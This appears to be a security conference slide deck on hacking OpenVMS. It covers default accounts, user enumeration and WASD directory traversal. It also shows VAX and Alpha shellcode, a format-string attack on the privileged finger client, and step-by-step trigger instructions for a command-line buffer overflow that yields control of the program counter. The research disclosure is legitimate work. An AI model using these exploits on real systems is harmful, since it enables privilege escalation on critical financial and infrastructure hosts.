Hacking OpenVMS

Claes Nyberg
Christer Öberg
James Tusini
Some facts about OpenVMS

- An Operating system with the following feature
  - Multi-user / Multi-processing
  - Virtual memory
  - Real time processing
  - Transaction processing
  - History of ownership
    - COMPAQ (1998 – 2001)
    - HP (2001 - Today)
Some facts about OpenVMS

- VAX/VMS, VMS, OpenVMS
- VMS is not UNIX, Windows NT is VMS?
- Runs on:
  - VAX
  - Alpha
  - Itanium
- Secure and reliable – more than OSX :}
5 Good reasons to hack OpenVMS

- Nobody attack VMS systems anymore
- Runs critical operations
  - Financial systems (banks, stock exchanges)
  - Infrastructure system (railways, electric)
  - Healthcare (NHS, NBS, VA)
  - Manufacturing (Intel)
  - Education
  - Many more..
5 Good reasons to hack OpenVMS

- Certified by DoD for its security
- Challenging
- Fun
Play with it online at

- deathrow.vistech.net
  - Access to both Alpha and VAX systems
  - Encourages security research
  - Small decnet
- fafnet.dyndns.org
  - VAX only
- testdrive.hp.com
  - Access to Itanium
Getting your own system

- **Software**
  - Hobbyist program – openvmshobbyist.com
  - $30 + local group subscription $100 (UK)

- **Emulators**
  - Personal Alpha (emulatorsinternational.com)
  - Free version available
    - With limited functionality
  - Runs on Windows only
Getting your own system

- Emulators
  - Charon
  - Emulates VAX systems
  - Demo version available
    - But only runs on OpenVMS/Itanium
  - Simh
    - Emulates VAX
    - Free
    - Runs on most OS
Size does matter...
User Environment

- X
  - CDE

- DCL – Digital Command Language
  - Default “shell” / scripting language
  - Case insensitive
  - Requires commands to be defined explicitly
    - CDL (command definition language
    - Foreign commands
OpenVMS Security

- Incidents
  - Worms
    - WANK / Father Christmas
    - Propagated through DECnet
    - Relied on weak passwords
    - Not technically advanced compared to Morris
  - Vulnerabilities
    - most reports are pre-1993
    - Limited disclosure (CERT)
    - Textfiles.com is probably the best source for vuln details
OpenVMS Security

- OpenVMS Survived Defcon9 CTF
  - Something their users seems immensely proud of..
- “fine grained controls”
  - You don't need root for everything
- When is the last time you saw a VMS exploit?
Vulnerability graph

Vulns

Windows: 1000
Linux: 400
OpenBSD: 100
Solaris: 700
OpenVMS: 10
Old school VMS hacking

- Let's try the obvious first
  - Default accounts, weak passwords and brute force
    - Default password hash algorithm
    - SYSTEM, FIELDS, etc
- Important files
  - VMSIMAGES.DAT
    - Determines what privileges some programs runs with
  - USERRIGHTS.DAT / SYSUAF.DAT
    - Not readable, binary format password file
- LOGIN.COM
The WASD Problem

- Open source web server written for OpenVMS
- Initial release full of security holes
  - Full directory traversal
  - ACL bypass
  - Dangerous default / sample CGI scripts
- Old versions still out there
- Directory traversal on VMS
  - http://web/-/*.*
Enumerating users

- The usual stuff
  - SMTP VRFY/EXPN
  - Finger
  - SYSTEM,FIELD etc (default accounts)
- RIGHTLIST.DAT / SYSUAF.DAT
- SYS$IDTOASC
OpenVMS Protection

- UIC – User Identification Code
  - USER / GROUP ID Pair
- Privileges
  - SYSPRV,MOUT,OPER etc
- ACL
OpenVMS Privileges

- About 40 privileges
  - MOUNT, OPER, CHEXEC, BYPASS, etc
  - Default usually are
    - TMPMBX, NETMBX
  - BYPASS
    - Able to bypass security restrictions :)
  - Nice idea but...
    - SYSPRV + modify SYSUAF.DAT == PWNED
    - BYPASS == PWNED
    - IMPERSONATE == PWNED
File system

- Logical names
  - Disk, directory or file
    - SYS$SYSDEVICE, SYS$LOGIN, SYS$SYSTEM etc
- RMS – Record Management Services
  - Record based indexed files (“databases”)
- File versions
  - file.txt;1, file.txt;2, file.txt:3 etc
- SYS$SYSROOT:[SYSEXE]TYPE.EXE
File system security

- Files are owned by a user/group
- Four permissions
  - Read, Write, Execute and Delete
  - Applied to four groups
    - System, Owner, Group and World
- Privileges
  - BYPASS, READALL, SYSPRV, GRPPRV
- ACL
  - Fine grained control
File permission example

```
$ SHOW PROCESS/RIGHTS
11-JAN-2008 05:07:36.38 User: SIGNEDNESS Process ID: 00000113
Node: NODE Process name: "SIGNEDNESS"

Process rights:
  SIGNEDNESS resource
  INTERACTIVE
  REMOTE

System rights:
  SYS$NODE_NODE

Soft CPU Affinity: off
$ DIR/ACL/OWNER/PROT SYS$SYSROOT:[SYSGTR]TESTFILE.TXT

Directory SYS$SYSROOT:[SYSGTR]

TESTFILE.TXT;1 [SYSTEM] (RWED,RWED,RE,)
  (ALARM=SECURITY,ACCESS=READ+SUCCESS)
  (IDENTIFIER=[SIGNEDNESS],ACCESS=READ)

Total of 1 file.
$ type SYS$SYSROOT:[SYSGTR]TESTFILE.TXT
  test
$ 
```
Finger Client Bug #1

- 20 years after THE WORM, FINGER...
  - Runs with SYSPRV
  - Follow links
  - Opens and displays content of .plan and .profile
  - DEMO
Finger client bug #2

- The link bug was funny
  - But “show me the root prompt!”
    - Need something different for that..
    - Chances are overflows has been killed...

- Format string vuln? Oh yes
  - .plan and .project again..
Finger misbehaving..

```
$ install list/full tcpip$finger

DISK$ALPHASYS:<SYS0.SYSCOMMON.SYSEXE>.EXE
TCP$FINGER;1  Open Hdr Shared  Prv
  Entry access count  = 5
  Current / Maximum shared  = 1 / 1
  Global section count  = 1
  Privileges = WORLD SYSPRV
  Authorized = WORLD SYSPRV

$ type .plan
format string test
%x-%x-%x-%x-%x-%x-%x-%x
$finger system
Login name: SYSTEM      In real life: SYSTEM MANAGER
Account: SYSTEM        Directory: SYS$SYSROOT:[SYSMGR]
Last login: Sun 27-APR-2008 08:47:05
No unread mail
Plan:
format string test
0-0-0-7ffd0010-1400-10000-31d14
```

VAX architecture

- VAX – Virtual Address eXtension
- 32bit platform
- Executable stack
- Four privileges modes
  - VMS uses all of them
- Quintessential CISC!
- Still lots of programming docs online:
Memory layout

- Virtual memory
  - System space / kernel
    - Shared by all processes (0x80000000 – 0xFFFFFFFF)
  - P1 space / control region
    - DCL, stacks, symbol table etc (0x40000000 – 0x7FFFFFFF)
  - P0 space / program region
    - Programs (0x0 – 0x3FFFFFFF)
Shellcode development environment

- OpenVMS problems..
  - For UNIX users a very strange and uncomfortable environment to work in!
  - Tools leaves a lot to be desired..

- Solution
  - Install NetBSD in simh emulator
  - Use tools you are familiar with
    - The time it takes to set NetBSD/simh up is worth the investment
Developing VAX shellcode (libc)

- Calling standard
  - Push arguments in reverse order
  - Calls function address
  - Calls instruction saves registers according to callee's mask, pushes PSW register and return etc
  - Register r0/r1 holds function return value
  - Works but...
  - What if no useful libc function is available? System services...
VAX/VMS libc shellcode example

unsigned char shellcode[] =
    "\x01\x01"
    "\x9f\xaf\x16"
    "\xd0\x6e\x50"
/* NULL terminate command */
    "\x94\xa0\x03"
    "\xd0\x8f\xff\x58\x3d\x05\x50"
/* do right shift to clear MSB */
    "\x78\x8f\xf8\x50\x50"
    "\xfb\x01\x60"
/* calls system() */
    /* Procedure Entry Mask */
    /* pushab <my_cmd> */
    /* movl (sp),r0 */
    /* clrb 0x3(r0) */
    /* movl $0x053d58ff,r0 */
/* ashl $0xf8,r0,r0 */
/* calls $0x1,(r0) */
/* ret */
    /* command */
    /* Byte that will be nulled *
Developing VAX shellcode (system services)

- Calling system services
  - Services implemented at various levels
    - Kernel, Executable, Supervisor
  - Push arguments in reverse order onto the stack
    - Call function that execute [chmk|chme|chms] <number> instruction
  - A drawback with this approach is size..
    - Functions usually take lots of arguments and usually “string descriptors” == big shellcode
Tips that makes things a bit easier

- Exploit symbols..
  - They are executable
  - They are “string descriptors”
    - And as such they can contain NULL bytes etc
- Finding the right service number..
  - Debugger can break on instructions
  - Write test program in C
  - Break on [chmk|chms|chme] instructions
    - This does not work on alpha! :(
Interesting system services

- CREPRC – Create process
- SETUAI – Modify user record
- GRANTID – grant ID's to processes
- Lots of others...
  - Read HP documentation on OpenVMS system services
Interesting note..

- Familiarizing myself with VAX I tried to exploit
  - `strcpy(buf, argv[1])`
- I knew hit the return address with the right address
  - But it kept crashing without even reaching the code
- PSW
  - Contains a byte defined as MBZ (must be zero)
  - Is saved below the saved return address..
- So what did Morris do?
What did Morris do?

- Exploited a stack overflow in fingerd on VAX
  - But how?
  - Turns out he didn't have to worry about NULL bytes
  - Bug was triggered through gets()

Conclusion

- A lot of can probably not be exploited..
  - But still plenty of special cases like gets(), pointers, etc and other bug classes like fmt strings to exploit.
Finger client bug #2 exploit notes

- Straight forward fmt bug
  - .plan holds fmt string and shellcode
  - Shellcode uses SETUAF() to modify user record for my users
    - Not stealthy, will be logged on console
    - Username is hardcoded
- Yes I know the exploit sucks
  - But give me a break I wrote the entire thing in VAX ASM!
- DEMO
Alpha architecture

- 64 bit architecture
- RISC
- Lots of programming information available
  - Surprisingly msdn is one of the best sources
- Instruction cache
- PALCode
Alpha / VMS shellcode

- C calling standard overly complex
  - Document 100s of pages long describing it
    - Not covered here :)

- Non-exec stack
  - But code in symbols can be executed
    - Works well for local exploits but could be a problem in remote exploits
    - For tight executable buffers copy and return to symbols

- Instruction cache
  - Must be flushed in self-modifying code
Calling system services on Alpha / VMS

- Arguments passed in r16 - r21 (a0 – a5)
  - Additional args passed on stack
- Argument count in r25
- System service number in r0
- Return value in r0
- chme/chmk/chms instruction issues
  - These instructions all contain NULL bytes
  - And so does imb instruction..
Development environment

- Personal alpha
  - Unfortunately personal alpha does not boot BSD
  - Linux?
- Build GNU binutils with Alpha target
- \((\ast f)()=\text{shellcode}\);
  - Does not work on Alpha/OpenVMS
  - Function pointer points to function descriptor
  - See OpenVMS calling standard for details.
GetPC() code

- Slightly tricky..
  - JMP / CALL equivalent
    - A short, NULL free jmp forward not possible?
- PC register can not be directly read :
  - Constructing all the data required for a service call on the stack is possible using a series of stores...
    - But awkward to say the least.
  - Shellcoders handbook had a nice solution
    - Much shorter than our monster ;)

www.signedness.org
main:
.frame $sp, 0, $26
    lda $r16, -1000($r30)
back:
    bis $r31, 0x86, $r17
    stl $r17, -4($r16)
    bsr $r16, back
OpenVMS CLI Overflow

- Failure to handle crafted commandlines
- Verified on OpenVMS Alpha 8.3 default install
- Total control of PC
OpenVMS CLI Overflow

- 1) Type 511 characters at the CLI prompt
- 2) Type the UP-ARROW three times
- 3) Type the return address
- 4) Wait (don't hit return, it will modify the ret-addy)
OpenVMS CLI Overflow

![Image of OpenVMS CLI Overflow]

Welcome to OpenVMS (TM) Alpha Operating System, Version V8.3

Username: tester
Password:

Welcome to OpenVMS (TM) Alpha Operating System, Version V8.3
Last interactive login on Sunday, 27-APR-2008 21:24:06.05
Last non-interactive login on Friday, 18-APR-2008 04:58:08.46

$ set proc/dump
$ tcpip
TCP/IP? 

Improperly handled condition, image exit forced.

Signal arguments:
  Number = 0000000000000005
  Name = 000000000000000C
  0000000000000000
  0000424242424240
  0000424242424240
  000000000000000B

Register dump:
R0 = 0000000000000001 R1 = 0000000000000040 R2 = 000000000000039C50
R3 = 00000000070FBAC2 R4 = 000000007FFCF814 R5 = 000000007FFCF93C
R6 = 0000000000000000 R7 = 0000000000000001 R8 = 000000007FF9CDE8
R9 = 000000007FF93DF0 R10 = 000000007FF84F28 R11 = 000000007FFC1C18
R12 = 000000007FFCDC98 R13 = 0000000076F0D050 R14 = 0000000000000000
R15 = 0000000076F0CE60 R16 = 0000000000000000 R17 = 0000000000000040
R18 = 0000000076E3B6B0 R19 = 002833B813000000 R20 = 0000000076E3B648
R21 = 0000000000000847ED R22 = 0000000000000289D4 R23 = 002833B813000001
R24 = 00000000000000400 R25 = 00000000000000400 R26 = 0000424242424242
R27 = 0000000076E3B670 R28 = FFFFFFF8003BEC0 R29 = 0000000076E3B6AF
SP = 0000000076E3B600 PC = 0000424242424240 PS = 000000000000001B

$PROC=DUMP-E-PRIVIMAGE, image has elevated privileges; requires SYS$PROTECTED.PRO

$
OpenVMS CLI Overflow
OpenVMS CLI Overview

- Multiple targets
- INSTALL (CMKRNL PRMGBL SYSGBL SHMEM AUDIT)
- TCPIP$* (various privileges)
- TELNET (OPER)
- And some more ...
  
  pipe install list/summary | search sys$pipe prv
OpenVMS Shellcode Injection

- Where do we store shellcode?
- The commandline used in the overflow can be executed but suffer from heavy input restrictions.
- We need a better location to run something useful
- To speed up testing I wrote a telnet client that triggers the bug and simplify testing of shellcode
OpenVMS Shellcode Injection

- Populate target with data and search in core-dump
  - argv[0] and environment before execve
  - logicals
  - symbols
- THIS IS NOT UNIX, I keep forgetting that ...
- executing code from getenv() works, but it is a copy from a non executable region
$ analyze/proc install.dmp

DBG> eval r21
639407

DBG> dump 639408:63941
597326176 595320644 662667236 'D#'0# 00000000009CB0

DBG>e/i 639407
639408: LDAH R27,#X7FE4(R31)
OpenVMS – Process Layout

$ analyze/system

SDA> clue process/layout

[...]

CLI Data 00000000.7AE3C000 00000000.7AE9A000 0005E000
CLI Command Tables 00000000.7AE9A000 00000000.7AF04800 0006A800
CLI Image 00000000.7AF08000 00000000.7AFDA600 000D2600

[...]

Back to the debugger and dump CLI data

DBG> dump/hex 2061746176:2062131200

(Note that dump takes decimal input)
OpenVMS – Searching Memory

- Found my string (with NULL's!) in CLI Data
  - But it could not be executed (Access violation)

- Ok, let's fiddle with input restrictions and try to make a shellcode that copy my string to an executable location
OpenVMS – Searching Memory

- Some terminal settings helped to remove a few restrictions

$ set nocontrol =t
$ set terminal /eightbit
$ set terminal /nointerrupt
.text
.align 4
.globl main
.ent main
# $r26 - pc
# $r27 - Source address (code ends with a NULL quad-word)
# $r28 - Destination address
# $r25 - Return address
# $r7 - Temp
main:
  # Source address + 31000
  lda $r27, 0x7ae45cf8
  # Destination address (main + 72 + 31000)
  lda $r28, 31072($r26)
  # Return address
  lda $r25, -31000($r28)
  # Copy all quad words
copy:
  ldq $r7, -31000($r27)
  stq $r7, -31000($r28)
  # Increase source address
  lda $r27, 30000($r27)
  lda $r27, -29992($r27)
  # Increase destination address
  lda $r28, 30000($r28)
  lda $r28, -29992($r28)
  # Copy again if source data was not zero
  bne $r7, copy
  # Return/Jump to the copyed code
  ret ($r25), 1
.end main
OpenVMS Alpha – Global Logical

- SDA reveals system global logical which can be executed!

SDA> clue process/logical
Process Logical Names:

----------------------
LNMB       LNMX     Logical and Equivalence Name
--------   --------   --------------------------------
7FF56220   7FF56250   "SYS$COMMAND" = "_ALPHA1$TNA91:"
7FF564C0   7FF564F0   "SYS$ERROR" = "_ALPHA1$TNA91:"
7FF56780   7FF567A8   "SYS$DISK" = "SYS$SYSROOT:"
7FF565E0   7FF56610   "SHELLCODE" = "CCCCCCCC...................CCCCCCCC"
7FF562D0   7FF56300   "SYS$OUTPUT" = "_ALPHA1$TNA91:"
7FF580D0   7FF58100   "SYS$OUTPUT" = "_ALPHA1$TNA91:"
7FF56520   7FF56550   "SYS$INPUT" = "_ALPHA1$TNA91:"
7FF56380   7FF563A8   "TT" = "_TNA91:"
OpenVMS Alpha CLI Overflow

- Demo